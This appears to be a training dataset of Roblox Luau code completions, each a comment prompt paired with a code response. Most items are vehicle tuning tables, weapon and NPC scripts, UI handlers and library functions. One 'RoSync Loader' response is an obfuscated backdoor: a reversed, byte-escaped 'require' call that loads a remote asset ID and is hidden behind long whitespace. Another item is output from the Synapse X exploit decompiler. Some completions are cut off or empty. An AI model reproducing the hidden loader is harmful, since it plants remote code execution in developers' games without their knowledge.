Prompt: -- << COMMANDS >>

Response:
local module = {

	-----------------------------------
	{
	Name = "";
	Aliases	= {};
	Prefixes = {settings.Prefix};
	Rank = 1;
	RankLock = false;
	Loopable = false;
	Tags = {};
	Description = "";
	Contributors = {};
	--
	Args = {};
	Function = function(speaker, args)

	end;
	UnFunction = function(speaker, args)

	end;
	--
	};

	-----------------------------------
	{
	Name = "";
	Aliases	= {};
	Prefixes = {settings.Prefix};
	Rank = 1;
	RankLock = false;
	Loopable = false;
	Tags = {};
	Description = "";
	Contributors = {};
	--
	Args = {};
	--[[
	ClientCommand = true;
	FireAllClients = true;
	BlockWhenPunished = true;
	PreFunction = function(speaker, args)

	end;
	Function = function(speaker, args)
		wait(1)
	end;
	--]]
	--
	};

	-----------------------------------

};

return module


Prompt: --//Controller//--

Response:
JarBody.Touched:Connect(function(Hit)
	local Humanoid = Hit.Parent:FindFirstChild("Humanoid")

	if Humanoid then
		if not Configuration.OnCD then
			Configuration.OnCD = true

			if JarBody.Transparency >= 1 then
				Jar:Destroy()

			else
				JarBody.Transparency = JarBody.Transparency + 0.1

			end

			task.wait(Configuration.CDTime)

			Configuration.OnCD = false

		end
	end
end)


Prompt: -- Modules

Response:
local ModuleScripts = ReplicatedStorage:WaitForChild("ModuleScripts")
local GameSettings = require(ModuleScripts:WaitForChild("GameSettings"))
local Data = ServerScriptService.Data
local DataStore = require(Data.Modules.DataStore)
local PlayerManagement = ServerScriptService.PlayerManagement
local PlayerManagementModules = PlayerManagement.ModuleScripts
local ParticleController = require(PlayerManagementModules.ParticleController)


Prompt: -- functions

Response:
function stopAllAnimations()
	local oldAnim = currentAnim

	currentAnim = ""
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end
	return oldAnim
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		currentAnimTrack:AdjustSpeed(currentAnimSpeed)
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then


Prompt:
--[=[
	Yields the current thread until the given Promise completes. Returns the Promise's status, followed by the values that the promise resolved or rejected with.

	@yields
	@return Status -- The Status representing the fate of the Promise
	@return ...any -- The values the Promise resolved or rejected with.
]=]

Response:
function Promise.prototype:awaitStatus()
	self._unhandledRejection = false

	if self._status == Promise.Status.Started then
		local thread = coroutine.running()

		self
			:finally(function()
				task.spawn(thread)
			end)
			-- The finally promise can propagate rejections, so we attach a catch handler to prevent the unhandled
			-- rejection warning from appearing
			:catch(
				function() end
			)

		coroutine.yield()
	end

	if self._status == Promise.Status.Resolved then
		return self._status, unpack(self._values, 1, self._valuesLength)
	elseif self._status == Promise.Status.Rejected then
		return self._status, unpack(self._values, 1, self._valuesLength)
	end

	return self._status
end

local function awaitHelper(status, ...)
	return status == Promise.Status.Resolved, ...
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
 --NOTE: Currently in beta! Not representative of final product.
local u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
while (not u1.Loaded) do
	game:GetService("RunService").Heartbeat:Wait();
end
local u2 = Random.new();
local u3 = {
	"Energy",
	"Gems",
	"Native"
};
local t_Parent_1 = script.Parent;
local f_CreatePower;
f_CreatePower = function() -- [line 9] CreatePower
	--[[
		Upvalues:
			[1] = u1
			[2] = u3
			[3] = t_Parent_1
			[4] = u2
	--]]
	local v1 = u1.Directory.Powers[u1.Functions.table.random(u3)];
	local v2 = u1.Functions.table.random(v1.tiers);
	local v3 = script.PowerFrame:Clone();
	local v4 = 0 + ((v3.AbsoluteSize.X * 0.5) / t_Parent_1.AbsoluteSize.X);
	local v5 = 1 - ((v3.AbsoluteSize.X * 0.5) / t_Parent_1.AbsoluteSize.X);
	local v6 = 0 + ((v3.AbsoluteSize.Y * 0.5) / t_Parent_1.AbsoluteSize.Y);
	local v7 = 1 - ((v3.AbsoluteSize.Y * 0.5) / t_Parent_1.AbsoluteSize.Y);
	v3.power.Image = v1.icon;
	v3.power.level.Text = v2.title;
	v3.Position = UDim2.new(u2:NextNumber(v4, v5), 0, u2:NextNumber(v6, v7), 0);
	v3.Parent = t_Parent_1;
	local v8 = coroutine.wrap;
	local u4 = v3;
	v8(function() -- [line 24] anonymous function
		--[[
			Upvalues:
				[1] = u4
				[2] = u1
		--]]
		local v9 = u4.Size;
		u4.Size = UDim2.new();
		local v10 = u1.Functions.Tween;
		local v11 = u4;
		local v12 = {
			1,
			7,
			1,
			0,
			true
		};
		local v13 = {};
		v13.Size = v9;
		v13.Rotation = 0;
		v10(v11, v12, v13).Completed:Wait();
		local v14 = u1.Functions.Tween;
		local v15 = u4;
		local v16 = {
			1,
			5,
			1,
			0,
			true
		};
		local v17 = {};
		v17.Size = UDim2.new();
		v14(v15, v16, v17).Completed:Wait();
		u4:Destroy();
	end)();
end;
CreatePower = f_CreatePower;
while true do
	CreatePower();
	u1.Functions.Wait(0.5);
end


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 260		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: -- Detectors

Response:
local handler = DriveSeat.AirbagFilter

local side = nil
local sent = false
local speedVar = nil
function handle(x, y)
	if x == nil then print('Errored!') end
	if sent == false then
		if speedVar > 20 and DriveSeat.Parent.Electrics.Value == true then
			if y.CanCollide == true then
				handler:FireServer(x)
				script.Parent.epicFrame.Visible = true
				DriveSeat.FE_Lights:FireServer('blinkers', 'Hazards')
				wait(2)
				sent = false
			end
		end
	end
end


Prompt:
--Rescripted by Luckymaxer
--EUROCOW WAS HERE BECAUSE I MADE THE PARTICLES AND THEREFORE THIS ENTIRE SWORD PRETTY AND LOOK PRETTY WORDS AND I'D LIKE TO DEDICATE THIS TO MY FRIENDS AND HI LUCKYMAXER PLS FIX SFOTH SWORDS TY LOVE Y'ALl

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")

DamageValues = {
	BaseDamage = 5,
	SlashDamage = 12,
	LungeDamage = 16
}

Damage = DamageValues.BaseDamage

Grips = {
	Up = CFrame.new(0, 0, -1.70000005, 0, 0, 1, 1, 0, 0, 0, 1, 0),
	Out = CFrame.new(0, 0, -1.70000005, 0, 1, 0, 1, -0, 0, 0, 0, -1)
}

Sounds = {
	Slash = Handle:WaitForChild("SwordSlash"),
	Lunge = Handle:WaitForChild("SwordLunge"),
	Unsheath = Handle:WaitForChild("Unsheath")
}

ToolEquipped = false

Tool.Grip = Grips.Up
Tool.Enabled = true

function IsTeamMate(Player1, Player2)
	return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end

function TagHumanoid(humanoid, player)
	local Creator_Tag = Instance.new("ObjectValue")
	Creator_Tag.Name = "creator"
	Creator_Tag.Value = player
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function UntagHumanoid(humanoid)
	for i, v in pairs(humanoid:GetChildren()) do
		if v:IsA("ObjectValue") and v.Name == "creator" then
			v:Destroy()
		end
	end
end

function Blow(Hit)
	if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
		return
	end
	local RightArm = Character:FindFirstChild("Right Arm")
	if not RightArm then
		return
	end
	local RightGrip = RightArm:FindFirstChild("RightGrip")
	if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
		return
	end
	local character = Hit.Parent
	if character == Character then
		return
	end
	local humanoid = character:FindFirstChild("Humanoid")
	if not humanoid or humanoid.Health == 0 then
		return
	end
	local player = Players:GetPlayerFromCharacter(character)
	if player and (player == Player or IsTeamMate(Player, player)) then
		return
	end
	UntagHumanoid(humanoid)
	TagHumanoid(humanoid, Player)
	humanoid:TakeDamage(Damage)
end

function Attack()
	Damage = DamageValues.SlashDamage
	Sounds.Slash:Play()
	local Anim = Instance.new("StringValue")
	Anim.Name = "toolanim"
	Anim.Value = "Slash"
	Anim.Parent = Tool
end

function Lunge()
	Damage = DamageValues.LungeDamage

	Sounds.Lunge:Play()

	local Anim = Instance.new("StringValue")
	Anim.Name = "toolanim"
	Anim.Value = "Lunge"
	Anim.Parent = Tool

	if CheckIfAlive() then
		local Force = Instance.new("BodyVelocity")
		Force.velocity = Vector3.new(0, 10, 0)
		Force.maxForce = Vector3.new(0, 4000, 0)
		Debris:AddItem(Force, 0.4)
		Force.Parent = Torso
	end

	wait(0.2)
	Tool.Grip = Grips.Out
	wait(0.6)
	Tool.Grip = Grips.Up

	Damage = DamageValues.SlashDamage
end

Tool.Enabled = true
LastAttack = 0

function Activated()

	if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
		return
	end

	Tool.Enabled = false

	Tick = RunService.Stepped:wait()

	if (Tick - LastAttack < 0.2) then
		Lunge()
	else
		Attack()
	end

	LastAttack = Tick

	--wait(0.5)

	Tool.Enabled = true
end

function CheckIfAlive()
	return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end

function Equipped()
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("Torso")
	if not CheckIfAlive() then
		return
	end
	ToolEquipped = true
	Sounds.Unsheath:Play()
end

function Unequipped()
	Tool.Grip = Grips.Up
	ToolEquipped = false
end

Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)

Connection = Handle.Touched:connect(Blow)


Prompt: --// Ammo Settings

Response:
	Ammo = 30;
	StoredAmmo = 30;
	MagCount = math.huge; --  If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
	ExplosiveAmmo = 0;


Prompt: --// All global vars will be wiped/replaced except script

Response:
return function(data, env)
	if env then
		setfenv(1, env)
	end

	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer

	local frame = script.Parent.Parent
	local nFrame = frame:WaitForChild("Frame");
	local iconF = nFrame:WaitForChild("Icon");
	local main = nFrame:WaitForChild("Main");
	local close = nFrame:WaitForChild("Close");
	local title = nFrame:WaitForChild("Title");
	local timer = nFrame:WaitForChild("Timer");

	local gTable = data.gTable
	local clickfunc = data.OnClick
	local closefunc = data.OnClose
	local ignorefunc = data.OnIgnore

	local name = data.Title
	local text = data.Message or data.Text or ""
	local time = data.Time
	local icon = data.Icon or client.MatIcons.Info

	local returner = nil

	if clickfunc and type(clickfunc)=="string" then
		clickfunc = client.Core.LoadCode(clickfunc, GetEnv())
	end
	if closefunc and type(closefunc)=="string" then
		closefunc = client.Core.LoadCode(closefunc, GetEnv())
	end
	if ignorefunc and type(ignorefunc)=="string" then
		ignorefunc = client.Core.LoadCode(ignorefunc, GetEnv())
	end

	local holder = client.UI.Get("NotificationHolder",nil,true)

	if not holder then
		client.UI.Make("NotificationHolder")
		holder = client.UI.Get("NotificationHolder",nil,true)
		holder.Object.ScrollingFrame.Active = false
	end

	holder = holder.Object.ScrollingFrame
	title.Text = name
	main.Text = text
	iconF.Image = icon

	local log  = {
		Type = "Notification";
		Title = name;
		Message = text;
		Icon = icon or 0;
		Time = os.date("%X");
		Function = clickfunc;
	}

	table.insert(client.Variables.CommunicationsHistory, log)
	service.Events.CommsPanel:Fire(log)

	main.MouseButton1Click:Connect(function()
		if frame and frame.Parent then
			if clickfunc then
				returner = clickfunc()
			end
			frame:Destroy()
		end
	end)

	close.MouseButton1Click:Connect(function()
		if frame and frame.Parent then
			if closefunc then
				returner = closefunc()
			end
			gTable:Destroy()
		end
	end)

	frame.Parent = holder

	task.spawn(function()
		local sound = Instance.new("Sound",service.LocalContainer())
		sound.SoundId = 'rbxassetid://'.."203785584"--client.NotificationSound
		sound.Volume = 0.2
		sound:Play()
		wait(0.5)
		sound:Destroy()
	end)

	if time then
		timer.Visible = true
		repeat
			timer.Text = time
			wait(1)
			time = time-1
		until time<=0 or not frame or not frame.Parent

		if frame and frame.Parent then
			if frame then frame:Destroy() end
			if ignorefunc then
				returner = ignorefunc()
			end
		end
	end

	return returner
end


Prompt: --[[ Last synced 10/19/2020 07:13                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt:
--BE.Event:connect(function() print("Bindable Firing") end)
--RE.OnClientEvent:connect(function() print("Remote Firing") end)


Prompt:
--[=[
	Checks if the given object is a Signal.

	@param obj any -- Object to check
	@return boolean -- `true` if the object is a Signal.
]=]

Response:
function Signal.Is(obj)
	return type(obj) == "table" and getmetatable(obj) == Signal
end


Prompt:
--[[

	CORE FUNCTIONS:

		Comm.Server.BindFunction(parent: Instance, name: string, func: (Instance, ...any) -> ...any, middleware): RemoteFunction
		Comm.Server.WrapMethod(parent: Instance, tbl: {}, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction
		Comm.Server.CreateSignal(parent: Instance, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteSignal

		Comm.Client.GetFunction(parent: Instance, name: string, usePromise: boolean, middleware: ClientMiddleware?): (...any) -> ...any
		Comm.Client.GetSignal(parent: Instance, name: string, inbound: ClientMiddleware?, outbound: ClientMiddleware?): ClientRemoteSignal

	HELPER CLASSES:

		serverComm = Comm.Server.ForParent(parent: Instance, namespace: string?): ServerComm
		serverComm:BindFunction(name: string, func: (Instance, ...any) -> ...any, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction
		serverComm:WrapMethod(tbl: {}, name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteFunction
		serverComm:CreateSignal(name: string, inbound: ServerMiddleware?, outbound: ServerMiddleware?): RemoteSignal

		serverComm:Destroy()

		clientComm = Comm.Client.ForParent(parent: Instance, usePromise: boolean, namespace: string?): ClientComm
		clientComm:GetFunction(name: string, usePromise: boolean, inbound: ClientMiddleware?, outbound: ClientMiddleware?): (...any) -> ...any
		clientComm:GetSignal(name: string, inbound: ClientMiddleware?, outbound: ClientMiddleware?): ClientRemoteSignal
		clientComm:Destroy()

--]]

Response:
type FnBind = (Instance, ...any) -> ...any
type Args = {
	n: number,
	[any]: any,
}

type ServerMiddlewareFn = (Instance, Args) -> (boolean, ...any)
type ServerMiddleware = {ServerMiddlewareFn}

type ClientMiddlewareFn = (Args) -> (boolean, ...any)
type ClientMiddleware = {ClientMiddlewareFn}

local Signal = require(script.Parent.Signal)
local Option = require(script.Parent.Option)
local Promise = require(script.Parent.Promise)

local RunService = game:GetService("RunService")
local Players = game:GetService("Players")

local IS_SERVER = RunService:IsServer()
local DEFAULT_COMM_FOLDER_NAME = "__comm__"
local WAIT_FOR_CHILD_TIMEOUT = 60

local function GetCommSubFolder(parent: Instance, subFolderName: string): Option.Option
	local subFolder: Instance = nil
	if IS_SERVER then
		subFolder = parent:FindFirstChild(subFolderName)
		if not subFolder then
			subFolder = Instance.new("Folder")
			subFolder.Name = subFolderName
			subFolder.Parent = parent
		end
	else
		subFolder = parent:WaitForChild(subFolderName, WAIT_FOR_CHILD_TIMEOUT)
	end
	return Option.Wrap(subFolder)
end


Prompt: -- Variables (best not to touch these!)

Response:
local button = script.Parent .Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local sound = script.Parent.Parent.Start
local st = script.Parent.Parent.Stall
st.Parent = car.DriveSeat
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
	if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then..
		sound:Play() -- Startup sound plays..
		script.Parent.Parent.Parent.Parent.Values.PreOn.Value = true
		wait(1.1) -- I don't know what to put for this
		script.Parent.Parent.Parent.Parent.Values.PreOn.Value = false
		wait(0.2)
		script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
		button.Text = "Engine: On"  -- You don't really need this, but I would keep it.
	else -- If it's on then when you click the button,
		st:play()
		script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off.
		button.Text = "Engine: Off"
	end -- Don't touch this.
end) -- And don't touch this either.


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 100		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 100		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 90		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 100		-- Spring Dampening
	Tune.RSusStiffness	= 4500		-- Spring Force
	Tune.FAntiRoll 		= 100		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 90		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt:
--[[

TODO: Add a function to find first child with an attribute, corotine.resume, coroutine.create shortenings to cr and cc

]]

Response:
local Utilities = {}

Utilities.cr = coroutine.resume
Utilities.cc = coroutine.create
Utilities.crcc = function(func)
	return coroutine.resume(coroutine.create(func))
end

Utilities.FindFirstChildWithAttribute = function(Parent, AttributeName, ReturnAttributeValue, Value)

	if type(Parent) == "table" then
		Parent = AttributeName
		AttributeName = ReturnAttributeValue
	end

	for _, Child in pairs(Parent:GetChildren()) do
		if Child:GetAttribute(AttributeName) then
			if ReturnAttributeValue == true then
				return Child:GetAttribute(AttributeName)
			else
				if Value and Child:GetAttribute(AttributeName) == Value then
					return Child
				--else
				--	return Child -- Why?
				end
			end
		end
	end

	return nil
end

Utilities.FindFirstChildWithPropertyValue = function(Parent, Property, Value)
	for _, Child in pairs(Parent:GetChildren()) do
		if Child[Property] and Child[Property] == Value then
			return Child
		end
	end

	return nil
end

Utilities.GlobalTrackSwitch = function(NewTrack, FadeTime, ClientOnly, Player)

	-- Find what Sound in workspace.GlobalSounds is playing, tween fade it out and tween fade in NewTrack

	-- Find the current track
	local CurrentTrack = Utilities.FindFirstChildWithPropertyValue(workspace.GlobalSounds, "Playing", true)
	local NewTrack = workspace.GlobalSounds:FindFirstChild(NewTrack)
	local NewTrackInitVol = NewTrack.Volume

	--print(CurrentTrack)

	-- If the new track is already playing, return
	if NewTrack.Playing == true then
		return
	else
		NewTrack:Play()
		NewTrack.Volume = 0
	end

	-- Fade out current track and fade in new track
	local CurrentTrackFade = TweenService:Create(CurrentTrack, TweenInfo.new(FadeTime), {Volume = 0})
	local NewTrackFade = TweenService:Create(NewTrack, TweenInfo.new(FadeTime), {Volume = NewTrackInitVol})
	CurrentTrackFade:Play()
	NewTrackFade:Play()

	Utilities.crcc(function()
		task.wait(FadeTime)
		CurrentTrack:Stop()
	end)

end

Utilities.TextTransition = function(Object, TextProperty, EndText, Speed, TransitionType)

	local StartText = Object[TextProperty]
	local StartTextLength = string.len(StartText)
	local EndTextLength = string.len(EndText)

	local Speed = Speed or 1
	local TransitionType = TransitionType or "Collapse"

	if TransitionType == "Collapse" then
		-- Take one letter from beginning and end until no letters are left, then do the opposite with EndText

		for i=2, StartTextLength/2 do  -- Collapse
			Object[TextProperty] = string.sub(StartText, i, StartTextLength-(i-1))
			task.wait(Speed/2*.25)
		end

		Object[TextProperty] = " "
		task.wait(Speed/2*.25)

		for  i=EndTextLength/2, 0, -1 do  -- Expand from middle
			Object[TextProperty] =  string.sub(EndText, i, EndTextLength-(i-1))
			task.wait(Speed/2*.25)
		end

	elseif TransitionType == "Scramble" then
		-- Randomly swap out letters from StartText to EndText

	end
end

return Utilities


Prompt: --gun parts

Response:
local gunparts = {}

for i,v in pairs(gunmodel:GetDescendants()) do
	if v:IsA("BasePart") then
		table.insert(gunparts, v)
	end
end

function guntransparency(tr)
	for i,v in pairs(gunparts) do --looping through an already made table alone is faster than getdescendants and then looping
		v.LocalTransparencyModifier = tr
	end
end

function modeltransparency(m, tr) -- this is for stuff like fps mags
	for i,v in pairs(m:GetDescendants()) do
		if v:IsA("BasePart") then
			v.LocalTransparencyModifier = tr
		end
	end
end


Prompt:
----
--[[
Ball start: 1.4 / Speed is 7.04
Ball at: 2.6
]]

Response:
--
local IN = hit.Parent.Hair.Handle


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 12000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .15		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 30		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .09		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt: --end)

Response:
while true do

	if Dead then
		break
	end

	AI()

	local n,mag,hum=near()
	if n and not Dead then
		n=n.p
		if not r then
			w=.14
			local dir=h.Position-n
			local tst ,_ =workspace:FindPartOnRay(Ray.new(t.Torso.Position,(n-t.Torso.Position).Unit*999),t)
			local aim =n+Vector3.new(math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread),math.random(-mag*RecoilSpread,mag*RecoilSpread))+hum

			if tst and not Dead then

				local FoundHuman,VitimaHuman = CheckForHumanoid(tst)
				if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception >= 10 then

				function lookAt(target, eye)
   					local forwardVector = (eye - target).Unit
   					local upVector = Vector3.new(0, 1, 0)
  					  -- You have to remember the right hand rule or google search to get this right
  					local rightVector = forwardVector:Cross(upVector)
   					local upVector2 = rightVector:Cross(forwardVector)

   					 return CFrame.fromMatrix(eye, rightVector, upVector2)
				end

				local direction = (n+hum)-h.CFrame.LookVector
				script.Parent:SetPrimaryPartCFrame(CFrame.new(t.Head.CFrame.Position,Vector3.new(direction.X,h.CFrame.Y,direction.Z)))

				Evt.ACS_AI.AIShoot:FireAllClients(h)
				h.Echo:Play()
				h.Fire:Play()
				local par, pos, Norm, Mat = workspace:FindPartOnRay(Ray.new(h.Position,(aim-h.Position).Unit*999),t)
				if par and not Dead then

				Hitmaker(par, pos, Norm, Mat)
					local FoundHuman,VitimaHuman = CheckForHumanoid(par)
					if FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) then
					local TotalDistTraveled = (pos - h.Position).Magnitude
					 ------ How much damage the gun inflicts
					if par.Name == "Head" or par.Parent.Name == "Top" or par.Parent.Name == "Headset" or par.Parent.Name == "Olho" or par.Parent.Name == "Face" or par.Parent.Name == "Numero" then
						local DanoBase = math.random(HeadDamage[1], HeadDamage[2])
						local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head")
						Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
					elseif (par.Parent:IsA('Accessory') or par.Parent:IsA('Hat')) then
						local DanoBase = math.random(HeadDamage[1], HeadDamage[2])
						local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Head")
						Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
					elseif par.Name == "Torso" or par.Parent.Name == "Chest" or par.Parent.Name == "Waist" then
						local DanoBase = math.random(TorsoDamage[1], TorsoDamage[2])
						local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
						Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
					elseif par.Name == "Right Arm" or par.Name == "Left Arm" or par.Name == "Right Leg" or par.Name == "Left Leg" or par.Parent.Name == "Back" or par.Parent.Name == "Leg1" or par.Parent.Name == "Leg2" or par.Parent.Name == "Arm1" or par.Parent.Name == "Arm2" then
						local DanoBase = math.random(LimbsDamage[1], LimbsDamage[2])
						local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
						Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
					else
						local DanoBase = math.random(LimbsDamage[1], LimbsDamage[2])
						local Dano,DanoColete,DanoCapacete = CalcularDano(DanoBase, TotalDistTraveled, VitimaHuman, "Body")
						Damage(VitimaHuman,Dano,DanoColete,DanoCapacete)
					end

					end
				end
				ammo=ammo-1
				mag=(h.Position-pos).magnitude
				t.Humanoid.WalkSpeed = ShootingWalkspeed
				--print("Atirando")

				local TracerChance = math.random(1,100)

				if TracerChance <= Settings.TracerChance.Value then

					Evt.ACS_AI.AIBullet:FireAllClients(nil, t.Head.CFrame, Tracer, 0, 2200, (aim-h.Position).Unit,TracerColor,Ray_Ignore, BulletFlare, BulletFlareColor)

				end

			elseif FoundHuman == true and VitimaHuman.Health > 0 and game.Players:GetPlayerFromCharacter(VitimaHuman.Parent) and perception < 10 then
					perception = perception + Settings.Level.Value
					t.Humanoid.WalkSpeed = SearchingWalkspeed
					Memory = Settings.Level.Value * 100
					CanSee = true
			elseif perception > 0 then
					perception = perception - 1/Settings.Level.Value * 2
					t.Humanoid.WalkSpeed = SearchingWalkspeed
					CanSee = false
				elseif perception <= 0 then
					perception = 0
					t.Humanoid.WalkSpeed = RegularWalkspeed
					Memory = Memory - .25
			end
			--print(Memory)
		end
			wait(RPM) -- How fast the enemy shoots
			if ammo==0 then
				reload()
			end
		end
	end
end


